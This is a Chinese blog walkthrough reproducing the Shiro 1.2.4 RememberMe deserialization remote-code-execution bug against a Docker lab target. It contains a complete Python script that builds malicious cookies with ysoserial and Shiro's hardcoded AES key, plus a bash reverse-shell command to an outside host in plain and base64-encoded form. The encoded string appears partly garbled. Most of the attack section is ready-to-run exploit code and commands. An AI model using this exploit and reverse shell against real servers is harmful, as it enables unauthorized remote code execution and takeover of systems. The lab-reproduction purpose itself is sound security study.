【漏洞复现】最简洁的Shiro RememberMe 1.2.4 反序列化命令执行漏洞
0x00 前言最近在内网进行测试,朋友跟我说在内网这种漏洞比较多,记得这个漏洞是很久之前就爆出来了,当时只是看了一下复现文档,没有进行实操,正好这次复现了,在这里记录一下,而且我这里使用的办法比网上大部分文章都相对简洁,很适合跟我一样的小白复现。0x01 服务器环境安装直接使用docker进行环境的安装docker pull medicean/vulapps:s_shiro_1安装好...
0x00 前言
最近在内网进行测试,朋友跟我说在内网这种漏洞比较多,记得这个漏洞是很久之前就爆出来了,当时只是看了一下复现文档,没有进行实操,正好这次复现了,在这里记录一下,而且我这里使用的办法比网上大部分文章都相对简洁,很适合跟我一样的小白复现。
0x01 服务器环境安装
直接使用docker进行环境的安装
docker pull medicean/vulapps:s_shiro_1
安装好之后为了能够进行访问与反弹Shell,这里需要对端口进行映射(端口映射需要在启动的时候设置映射的端口,不然就需要重新启动)
启动容器
docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
查看一下,状态为UP代表正在运行中
直接访问
好的,服务器环境安装完毕了
0x02 漏洞验证
怎么确定网站是Shiro环境的呢?
使用BurpSuite抓取数据包,通过响应包中的 rememberMe=deleteMe来确认
0x03 攻击机环境安装
攻击机的系统为:debian 9
先更新一下
sudo apt-get update
方便下载exp,先安装git
sudo apt install git
安装JDK
sudo apt-get install openjdk-8-jdk
因为生成Cookie的脚本需要安装依赖,这里直接安装pip来进行依赖的安装,首先安装pip
sudo apt install python3-pip
安装依赖pycrypto
sudo pip3 install pycrypto
安装MVN
sudo apt update
sudo apt upgrade
sudo apt install maven
安装完成验证一下
mvn --version
最后安装一下nc
sudo apt install netcat-openbsd
好的,万事俱备了,下面开始进行攻击
0x04 开始攻击
下载EXP
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
这里需要用Python脚本进行代码执行的生成
代码如下
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("/tmp/payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
需要将脚本跟ysoserial-0.0.6-SNAPSHOT-all.jar放到同一个目录
反弹Shell的代码需要进行base64加密,先进行加密
反弹Shell命令(地址请替换成自己的公网地址)
bash -i >& /dev/tcp/1.1.1.1/6666 0>&1
加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html
下面是生成反弹Shell到我本机的命令
python3 test.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zNS4x1OTxI2uMTg4LjIxMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"
运行后会在/tmp目录生成payload.cookie文件
开始监听6666端口
再次来到WEB页面,随便抓取一个页面的数据包
将payload.cookie文件中的内容替换到Cookie中,再次发送数据包
成功获得反弹的Shell
至此,漏洞复现完毕,感谢观看。
更多推荐
所有评论(0)